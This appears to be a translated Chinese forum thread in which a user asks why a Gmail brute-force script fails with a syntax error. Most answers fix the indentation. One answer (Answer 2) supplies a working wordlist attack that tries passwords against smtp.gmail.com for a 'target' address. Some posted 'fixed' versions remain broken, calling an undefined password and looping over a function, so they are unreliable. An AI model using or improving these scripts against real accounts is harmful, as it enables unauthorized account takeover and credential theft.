Python 中的基本 gmail BruteForce 程序

Question

我试图找出为什么我的代码不起作用。我试图通过向另一个代码中添加一些代码来提高我的 python 技能，但是当我尝试执行它时，它总是给我一个语法错误。

import itertools 
import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen): 
    for n in range(minlen, maxlen+1): 
        for perm in itertools.product(chars, repeat=n): 
            print(''.join(perm)) 

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:
    try:
        smtpserver.login(user, password)

        print "[+] Password Cracked: %s" % symbols
        break;
        except smtplib.SMTPAuthenticationError:
            print "[!] Password Inccorect: %s" % symbols

输出是

File "main.py", line 22                                                                                                                                                       
    except smtplib.SMTPAuthenticationError:                                                                                                                                     
         ^                                                                                                                                                                      
SyntaxError: invalid syntax 

我只是不明白，可能有人发现并修复问题

Answer 1

缩进！

except

应与

try

处于相同的缩进级别。

Answer 2

尝试这个脚本：

import sys
import smtplib
def main():

   host = 'smtp.gmail.com'
   port = 587
   user = raw_input('[+] Enter The Email To Crack : ')
   password = raw_input('[+] Enter The Password List : ')
   passs = open(password, 'r').readlines()
   for passw in passs:
       password = passw.rstrip()
       smtp(host, port, user, password)


def smtp(host, port, user, password):
    try:
       server = smtplib.SMTP(host, port)
       server.ehlo()
       server.starttls()
       server.login(user, password)
       print "[+] Password Found Succesfully : " + password
       sys.exit(1)
    except smtplib.SMTPAuthenticationError:
       print "[-] Password Incorrect : " + password
       pass

Answer 3

根据规则，您并不是有意

except

。这是修好之后的样子有关

try...except

的更多信息，请参阅 此处。

import itertools 
import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen): 
    for n in range(minlen, maxlen+1): 
        for perm in itertools.product(chars, repeat=n): 
            print(''.join(perm)) 

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:
    try:
        smtpserver.login(user, password)

        print "[+] Password Cracked: %s" % symbols
        break;
    except smtplib.SMTPAuthenticationError:
        print "[!] Password Inccorect: %s" % symbols

Answer 4

这对我有用：

import itertools 
import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen): 
    for n in range(minlen, maxlen+1): 
        for perm in itertools.product(chars, repeat=n): 
            print(''.join(perm)) 

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:
    try:
        smtpserver.login(user, password)

        print ("[+] Password Cracked: %s") % symbols
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Password Inccorect: %s") % symbols

Answer 5

这样做不会让 gmail 屏蔽你的 IP 地址吗？